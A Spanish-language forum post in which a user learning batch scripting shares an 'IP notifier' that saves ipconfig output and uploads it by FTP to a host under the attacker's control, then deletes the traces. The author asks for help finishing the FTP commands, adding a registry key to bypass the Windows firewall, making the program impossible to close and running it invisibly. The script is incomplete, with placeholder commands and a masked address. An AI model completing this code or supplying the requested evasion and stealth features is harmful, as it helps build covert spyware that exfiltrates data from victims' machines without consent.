Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - R2d2_

#1
Hola a to2 chicos, estoi aprendiendo batch y se me ocurrió hacer un notificador de ip ... Es algo que lo he hecho mas que nada para empezar con el lenguaje, vamos que no es una herramienta especializada para hack, si no un simple programa con poca funcionabilidad ya que como ahora vereis, tras un router no tiene funcionabilidad :D



@echo off
set fichtemp=%temp%/ip.txt
set ftp=ftp.txt
goto notificador
:notificador
ipconfig > %fichtemp%
rem #Hasta aqui tenemos su ip, obtenida mediante ipconfig#
rem #y la hemos estampado en un txt. Ahora iniciaremos#
rem #una sesion ftp para subir este archivo con esos#
rem #datos a una maquina ftp bajo nuestro poder.#
echo Comandos para FTP, Linea 1 >> %ftp%
echo Comandos para FTP, Linea 2 >> %ftp%
echo Comandos para FTP, Linea 3 >> %ftp%
echo Bye >> %ftp%
rem #Para subir ese archivo por ftp necesitamos abrir#
rem #una sesion de ftp e introducir comandos de ftp#
rem #que estan en ftp.txt, 1 comando por cada linea#
rem # ( Comandos de ftp incompletos... )#
goto ftp
:ftp
ftp -s:ftp.txt XXX.XXX.XXX.XXX
del %fichtemp%
del %ftp%
exit


Como vereis el programa es totalmente didáctico, tiene poco o ningun uso ( para notificar la ip teneis el excelente Kotilla v1.0 )....

Ahora, ( mas que nada para aprender) me gustaria perfeccionar el programa en :
-Conseguir los comandos de FTP apropiados para :
::Abrir sesion
::Subir archivo
::Cerrar sesion
-Agregar una llave al registro, para saltarse el firewall de windows. ( No es muy dificil )
-Capacitar el programa de inmunidad: Es decir, que no pueda ser cerrado de ningun modo mientras se ejecuta... FTP es lento y mientras sube el archivo y demas se veria claramente. A poder ser tambien seria excepcional hacer su ejecucción invisible ( no se si eso es posible ).
------------------------------------------------------------------------
Antes de nada, agradezco a todo programador que me heche una mano ya que todas estas cosas las pido no para perfeccionar el programa , si no para aprender a hacerlo y saber hacerlo por mi mismo en un futuro :D...

Ciao y gracias a to2 de antemano :D